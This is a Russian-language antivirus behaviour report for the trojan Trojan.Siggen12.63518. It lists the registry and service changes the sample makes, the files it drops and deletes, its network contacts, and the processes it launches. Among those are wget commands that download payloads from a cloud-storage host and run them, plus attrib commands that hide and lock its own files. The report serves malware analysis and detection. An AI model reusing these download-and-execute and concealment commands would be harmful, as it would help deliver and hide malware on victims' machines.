Trojan.Siggen12.63518

Техническая информация

Для обеспечения автозапуска и распространения

Устанавливает следующие настройки сервисов

[<HKLM>\System\CurrentControlSet\Services\SNAPSHOD0] 'ImagePath' = '<DRIVERS>\SNAPSHOD0.sys'

Создает следующие сервисы

'SNAPSHOD0' <DRIVERS>\SNAPSHOD0.sys

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' /im "<Имя файла>.exe" /F
'%WINDIR%\syswow64\taskkill.exe' /im SnapShot.Exe /F

Изменения в файловой системе

Создает следующие файлы

%TEMP%\mpc-hc.reg
u:\mediaplayer\shaders\invert.hlsl
u:\mediaplayer\shaders\lcd angle correction.hlsl
u:\mediaplayer\shaders\letterbox.hlsl
u:\mediaplayer\shaders\nightvision.hlsl
u:\mediaplayer\shaders\procamp.hlsl
u:\mediaplayer\shaders\sharpen complex 2.hlsl
u:\mediaplayer\shaders\sharpen complex.hlsl
u:\mediaplayer\shaders\sharpen.hlsl
u:\mediaplayer\shaders\sphere.hlsl
u:\mediaplayer\shaders\spotlight.hlsl
u:\mediaplayer\shaders\emboss.hlsl
u:\mediaplayer\shaders\grayscale.hlsl
u:\mediaplayer\shaders\wave.hlsl
u:\mediaplayer\d3dcompiler_43.dll
u:\mediaplayer\d3dx9_43.dll
u:\mediaplayer\lang\mpcresources.ru.dll
u:\mediaplayer\lavfilters\avcodec-lav-57.dll
u:\mediaplayer\lavfilters\avfilter-lav-6.dll
u:\mediaplayer\lavfilters\avformat-lav-57.dll
u:\mediaplayer\lavfilters\avresample-lav-3.dll
u:\mediaplayer\lavfilters\avutil-lav-55.dll
u:\mediaplayer\lavfilters\intelquicksyncdecoder.dll
u:\mediaplayer\lavfilters\libbluray.dll
u:\mediaplayer\shaders\yv12 chroma upsampling.hlsl
u:\mediaplayer\7z.exe
u:\mediaplayer\shaders\edge sharpen.hlsl
u:\mediaplayer\shaders\denoise.hlsl
u:\mediaplayer\shaders\deinterlace (blend).hlsl
%TEMP%\wget.exe
%TEMP%\ok.js
%TEMP%\wz.bat
nul
%TEMP%\2mvpt9fx1
%TEMP%\rd.sna
<DRIVERS>\snapshod0.sys
%TEMP%\wg.bat
%WINDIR%\temp\uddc783.tmp
%TEMP%\3mediaplayer.#
%TEMP%\4wvhh5s1u
%TEMP%\media_player.bat
%TEMP%\1mediaplayer.#
%TEMP%\conf1mediaplayer
%TEMP%\123mediaplayer.exe
u:\mediaplayer\lavfilters\lavaudio.ax
u:\mediaplayer\lavfilters\lavfilters.dependencies.manifest
u:\mediaplayer\lavfilters\lavsplitter.ax
u:\mediaplayer\lavfilters\lavvideo.ax
u:\mediaplayer\shaders\0-255 to 16-235.hlsl
u:\mediaplayer\shaders\16-235 to 0-255 [sd].hlsl
u:\mediaplayer\shaders\16-235 to 0-255 [sd][hd].hlsl
u:\mediaplayer\shaders\bt.601 to bt.709.hlsl
u:\mediaplayer\shaders\contour.hlsl
%TEMP%\2mediaplayer.#
u:\mediaplayer\lavfilters\swscale-lav-4.dll
u:\mediaplayer\mpc-hc.exe

Удаляет следующие файлы

%TEMP%\ok.js
%WINDIR%\temp\uddc783.tmp
%TEMP%\1mediaplayer.#
%TEMP%\2mediaplayer.#
%TEMP%\3mediaplayer.#
%TEMP%\4wvhh5s1umediaplayer
%TEMP%\conf1mediaplayer
%TEMP%\wget.exe
%TEMP%\123mediaplayer.exe

Перемещает следующие файлы

%TEMP%\2mvpt9fx1 в %TEMP%\snapshot.exe
%TEMP%\4wvhh5s1u в %TEMP%\4wvhh5s1umediaplayer

Подменяет следующие файлы

%TEMP%\ok.js

Сетевая активность

Подключается к

'cl######.datacloudmail.ru':80
'cl######.datacloudmail.ru':443

TCP

'cl######.datacloudmail.ru':443

UDP

DNS ASK cl######.datacloudmail.ru

Другое

Ищет следующие окна

ClassName: '' WindowName: ''
ClassName: '' WindowName: '1031853/1292'
ClassName: '' WindowName: '1032118/1812'
ClassName: 'TaskListThumbnailWnd' WindowName: ''

Создает и запускает на исполнение

'%TEMP%\wget.exe' --no-check-certificate http://cl######.datacloudmail.ru/weblink/get/3FZq/2MVPt9fx1
'%TEMP%\wget.exe' --no-check-certificate --output-document=Rd.Sna http://cl######.datacloudmail.ru/weblink/get/2gXn/hH5sR16jd
'%TEMP%\snapshot.exe' -!unmount
'%TEMP%\snapshot.exe' Rd.Sna U: -vq
'%TEMP%\wget.exe' --no-check-certificate http://cl######.datacloudmail.ru/weblink/get/3egv/4Wvhh5S1u
'%TEMP%\wget.exe' --no-check-certificate --output-document=1MediaPlayer.# http://cl######.datacloudmail.ru/weblink/get/2zbL/EzSb5ZE9n
'%TEMP%\wget.exe' --no-check-certificate --output-document=3MediaPlayer.# http://cl######.datacloudmail.ru/weblink/get/3JjY/4iMBJGuER
'%TEMP%\wget.exe' --no-check-certificate --output-document=2MediaPlayer.# http://cl######.datacloudmail.ru/weblink/get/57fp/2gqngz1AV
'%TEMP%\123mediaplayer.exe'
'u:\mediaplayer\mpc-hc.exe'
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Media_Player.Bat" "<Полный путь к файлу>" "<Текущая директория>" "<Имя файла>.exe" "%LOCALAPPDATA%\Temp" "' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\Media_Player.Bat" "<Полный путь к файлу>" "<Текущая директория>" "<Имя файла>.exe" "%LOCALAPPDATA%\Temp" "
'%WINDIR%\syswow64\attrib.exe' "<Полный путь к файлу>"
'%WINDIR%\syswow64\xcopy.exe' /I/H/Y/R/E %TEMP%\Mpc-Hc.Ini
'%WINDIR%\syswow64\attrib.exe' -r %TEMP%\wz.bat
'%WINDIR%\syswow64\find.exe' /i "Wget.Exe"
'%WINDIR%\syswow64\tasklist.exe' /fi "IMAGENAME eq Wget.Exe"
'%WINDIR%\syswow64\ping.exe' -n 2 localhost
'%WINDIR%\syswow64\findstr.exe' /BIR "A....."
'%WINDIR%\syswow64\cmd.exe' /K wg.bat
'%WINDIR%\syswow64\attrib.exe' +a +r +h +s SnapShod0.Sys
'%WINDIR%\syswow64\ping.exe' -n 6 localhost
'%WINDIR%\syswow64\cmd.exe' /K wz.bat
'%WINDIR%\syswow64\attrib.exe' +r wz.bat
'%WINDIR%\syswow64\cscript.exe' Ok.Js //Nologo
'%WINDIR%\syswow64\attrib.exe' +r Media_Player.Bat
'%WINDIR%\syswow64\attrib.exe' +r SnapShot.Exe
'%WINDIR%\syswow64\reg.exe' Import Mpc-Hc.Reg